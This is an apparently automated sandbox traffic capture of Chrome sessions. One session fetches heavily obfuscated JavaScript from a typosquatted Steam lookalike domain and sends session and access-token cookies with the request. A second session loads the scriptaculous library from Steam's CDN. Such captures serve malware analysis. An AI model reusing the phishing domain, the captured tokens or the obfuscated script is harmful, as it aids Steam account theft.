(!onlyIfAbsent \|\| !(property in des

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49747	172.67.175.206	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	1136	OUT	GET /7d1d7c577e0751595d5c574d.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:55 UTC	1101	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:55 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3l1j8w0wiqhWIJG%2FwhTFEXW1iGVyImxW00TWSpvRzxNvnqL5PTEc9l1fkyClgMoFKvPRvbqnu8hZgRjRUziCuZZO%2Fpv6bnO6mBjxdGP8SrkgG7Aj7ysL5v5pJTpA%2FzGdp%2FVfjkFd2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543d1bd19431c-EWR alt-svc: h3=":443"; ma=86400
2024-10-06 11:20:55 UTC	268	IN	Data Raw: 37 62 36 33 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b63function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 66 66 63 3d 5f 30 78 34 36 61 64 2c 5f 30 78 35 39 35 65 64 31 3d 5f 30 78 32 66 30 35 61 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 Data Ascii: ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4*(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 39 61 32 64 29 26 26 5f 30 78 35 35 37 36 37 32 28 5f 30 78 31 33 38 61 61 36 2c 5f 30 78 31 36 39 61 32 64 2c 5f 30 78 63 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 Data Ascii: 9a2d)&&_0x557672(_0x138aa6,_0x169a2d,_0xc1fb00[_0x169a2d]);}return _0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 30 78 31 66 36 30 64 30 3b 7d 6c 65 74 20 5f 30 78 37 39 30 39 36 65 3d 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 38 65 29 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 Data Ascii: 0x1f60d0;}let _0x79096e=[_0x470195(0x18e),'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 33 30 29 5d 2c 5f 30 78 35 36 66 33 34 35 3d 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 Data Ascii: 578c25[_0x491526(0x230)],_0x56f345=_0x578c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 3d 5f 30 78 34 35 38 31 34 64 5b 5f 30 78 33 38 36 35 64 30 5d 3d 5f 30 78 34 35 38 31 34 64 5b 5f 30 78 33 38 36 35 64 30 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 Data Ascii: =_0x45814d[_0x3865d0]=_0x45814d[_0x3865d0]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;thi
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 65 74 65 20 74 68 69 73 5b 5f 30 78 34 63 31 34 62 64 28 30 78 31 65 32 29 5d 2c 64 65 6c 65 74 65 20 74 68 69 73 5b 5f 30 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f Data Ascii: ete this[_0x4c14bd(0x1e2)],delete this[_0x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 37 29 7b 63 6f 6e 73 74 20 5f 30 78 34 30 66 65 38 66 3d 5f 30 78 35 64 37 30 37 34 3b 74 68 69 73 5b 27 68 61 6e 64 6c 65 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 Data Ascii: 7){const _0x40fe8f=_0x5d7074;this['handles'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 5f 30 78 34 30 30 63 31 37 29 7b 63 6f 6e 73 74 20 5f 30 78 31 33 61 39 33 37 3d 5f 30 78 35 64 37 30 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 Data Ascii: nction(_0x400c17){const _0x13a937=_0x5d7074;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02
2024-10-06 11:20:55 UTC	1369	IN	Data Raw: 6c 65 74 20 5f 30 78 33 65 37 32 64 63 3d 7b 27 78 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 Data Ascii: let _0x3e72dc={'x':_0x35b957[_0x1a8cc6(0x250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49740	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:55 UTC	590	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:55 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Me1IBxzktiwk" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=11897900 Expires: Fri, 21 Feb 2025 04:19:15 GMT Date: Sun, 06 Oct 2024 11:20:55 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:55 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-06 11:20:55 UTC	15785	IN	Data Raw: 20 66 6f 72 20 62 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 Data Ascii: for backwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: functi
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: effect.effects[0].element.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); }
2024-10-06 11:20:55 UTC	1000	IN	Data Raw: 6e 73 2e 69 6e 64 69 63 61 74 6f 72 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a Data Ascii: ns.indicator); }, onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC:
2024-10-06 11:20:55 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-06 11:20:55 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-06 11:20:55 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
